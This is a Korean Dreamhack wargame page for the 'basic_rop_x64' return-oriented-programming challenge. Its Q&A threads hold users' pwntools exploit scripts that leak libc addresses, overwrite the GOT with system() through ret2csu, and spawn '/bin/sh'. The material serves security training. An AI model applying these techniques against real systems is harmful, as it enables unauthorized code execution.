[클라우드 바우처] 80% 할인된 금액으로 드림핵 엔터프라이즈를 도입해 보세요. 자세히 알아보기
LEVEL 2

basic_rop_x64

pwnable
  • 문제 정보
  • 풀이 111
  • 난이도 투표 49
  • 질문 30
  • 최근 풀이자 1336
  • 댓글 75

문제 설명

Description

이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x64)의 바이너리와 소스 코드가 주어집니다.
Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

Environment
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
Reference

Return Oriented Programming

문제 수정 내역

2023.04.27: Ubuntu 22.04 환경으로 업데이트하였습니다.

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

c0nfu5e
워게임: 20
출제된 지 23시간 만에 풀이 완료!

난이도 투표 49

질문 30

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
got overwrite를 하는데 이상한 값이 덮어써집니다.
from pwn import * def slog(name, addr): return success(": ".join([name, hex(addr)])) context.log_level = 'debug' p = process("./basic_rop_x64") e = ELF("./basic_rop_x64") libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") puts_plt = e.plt['puts'] puts_got = e.got['puts'] read_plt = e.plt['read'] read_got = e.got['read'] write_got = e.got['write'] pop_rdi = 0x0000000000400883 bss = e.bss() rtc1 = 0x0000000000400876 rtc2 = 0x0000000000400860 payload = b'a'0x40 + b'b'0x8 puts(puts_got) payload += p64(pop_rdi) + p64(puts_got) payload += p64(puts_plt) read(0, .bss, 0x10) payload += p64(rtc1) payload += b'a'*0x8 payload += p64(0) #rbx payload += p64(1) #rbp payload += p64(read_got) #r12 payload += p64(0) #r13 -> edi payload += p64(bss) #r14 -> rsi payload += p64(0x10) #r15 -> rdx payload += p64(rtc2) read(0, puts_got, 0x10) payload += b'a'*0x8 payload += p64(0) payload += p64(1) payload += p64(read_got) payload += p64(0) payload += p64(puts_got) payload += p64(0x10) payload += p64(rtc2) puts('/bin/sh') == system('/bin/sh') payload += b'a'*0x8 payload += p64(0) payload += p64(1) payload += p64(puts_got) payload += p64(bss) payload += p64(0) payload += p64(0) payload += p64(rtc2) pause() p.send(payload) p.recvuntil("a"*0x40) puts = u64(p.recvn(6) + b'\x00'*2) lb = puts - libc.symbols["puts"] system = lb + libc.symbols["system"] slog("puts", puts) slog("lb", lb) slog("system", system) p.send(b'/bin/sh\00') p.send(p64(system)) p.interactive() libc의 베이스 주소를 구한 후 return to csu 방법으로 bss영역에 'bin/sh\x00'을 입력하고 puts의 got를 system의 주소로 덮어서 puts를 실행하여 system을 실행하고자 위의 코드를 짰습니다. (이건 제출용은 아니고 일단 로컬에서만 돌려보려고 문제파일 복붙해서 새로 컴파일했습니다.) 그런데 계속 오류가 나서 gdb attach해서 디버깅을 했는데 puts_got를 출력해서 이를 읽어오는 것과 bss에 '/bin/sh\x00'을 입력하는 것까지는 제대로 동작하는걸 확인했으나, puts의 got에 system의 주소를 덮어쓰는 부분에서 뭔가 문제가 생겼습니다. ollk@DESKTOP-NQP2DLJ_ ~ 2022-04-24 오전 12_05_41.png 위 사진에 나온 부분이 read를 실행하여 puts의 got에 system의 주소를 덮어쓰는 부분입니다. 이 부분 이후에 0x601018에 system의 주소가 있어야하는데 ollk@DESKTOP-NQP2DLJ_ ~ 2022-04-24 오전 12_10_12.png 위 사진처럼 popen이라는 이상한 친구가 들어있는겁니다. system주소로 덮는 과정에서 저 값이 바뀌는 이유를 모르겠습니다.
ollk
바로 앞에서 푼 문제와 이 문제에 대해 이해가 가질 않는 게 있습니다.
앞 문제에서 질문한 글 : https://dreamhack.io/forum/qna/2549 위의 링크에서 첫 번째 질문에 대한 답에 대해 이번 문제가 이해가 되질 않습니다. 첫 번째 입력(read)을 write_plt로 read()주소를 구한 후 lib_base와 system()주소를 구하는 과정에서 에러가 발생했습니다. <에러가 나오는 익스플로잇 코드> 1 #!/usr/bin/python3 2 3 from pwn import * 4 5 #p = remote("host3.dreamhack.games", 9688) 6 p = process("./basic_rop_x64") 7 e = ELF("./basic_rop_x64") 8 lib = ELF("./libc.so.6") 9 10 context.log_level = "debug" 11 12 write_plt = e.plt["write"] 13 read_plt = e.plt["read"] 14 read_got = e.got["read"] 15 pop_rdi = 0x400883 16 pop_rsi_r15 = 0x400881 17 18 payload = b"A"0x40 + b"B"0x8 19 payload += p64(pop_rdi) + p64(1) 20 payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(write_plt) 21 22 p.send(payload) 23 #p.recvuntil(b"A"*0x40) 24 read = u64(p.recvn(6) + b"\x00" * 2) 25 lib_base = read - lib.symbols["read"] 26 system = lib_base + lib.symbols["system"] 27 28 print(hex(read)) 29 print(hex(lib_base)) 30 print(hex(system)) <결과(실패)> context.log_level="debug"를 이용해서 보시는 것처럼 p.recvuntil(b"A"*0x40)을 해줘야 정상적으로 read()주소를 구할 수 있다고 알게 되었습니다. p.send(payload)뒤에 p.recvuntil("A"*0x40)을 넣어주고 다시 익스플로잇 해본 결과. <결과(성공)> 잘 되는 것을 확인했습니다. 정리하자면 제일 위에 올린 링크에서 질문에 대한 답변을 보고나서 페이로드를 보내고 별 다른 출력 함수들(예를 들어 printf())이 없으면 p.recvuntil 등으로 페이로드 만큼의 데이터를 안빼는 것이라고 이해했었는데 잘못 이해한건가요?? 문제마다 달라서 항상 디버그로 확인을 해야하나요??
탈퇴한 이용자

최근 풀이자 1336

avatar
dhjisgod
워게임 고인물
avatar
MerryQ
2023 Christmas CTF 참여
unkn0vvn
대표 업적 없음
doneni
대표 업적 없음
eeeeee
대표 업적 없음
한우
대표 업적 없음
성진군
대표 업적 없음
avatar
flyfreejay
대표 업적 없음
1tsev
대표 업적 없음
헌지박사
대표 업적 없음

댓글 75

avatar
MerryQ
2023 Christmas CTF 참여
다음부턴 도커환경에서 해야겠다
avatar
Captainjack
공부벌레
now ez for me ; )
avatar
스카이넷
강의 수강: 10
ez
avatar
KnightChaser
공부벌레
Welp...
하얀종Ol
대표 업적 없음
예제를 풀고 쉽게 답이 나왔는데 Local에서 서버환경으로 해서 계속 안되고 있었네요 ㅎㅎ
avatar
Rosieblue
워게임 고인물
재밌어용 rop문제는 어려웠는데 걔를 풀고나서 얘를 푸니까 확실히 어떻게 풀지 감이 잡혀요ㅎㅎ
l000wk3y
공부벌레
간단한 rop라 처음에 공부하기 좋아요.
avatar
hyuunn
강의 수강: 10
홀리 풀었다
whoamiii
대표 업적 없음
libc 로컬과 서버 환경이 달라 고생했고, 디버깅하며 흐름을 보니 확실이 ROP가 이해가 되네요...ㅎ 재미납니다~
ChAp_cHaP_HACK
강의 수강: 1
개꿀잼!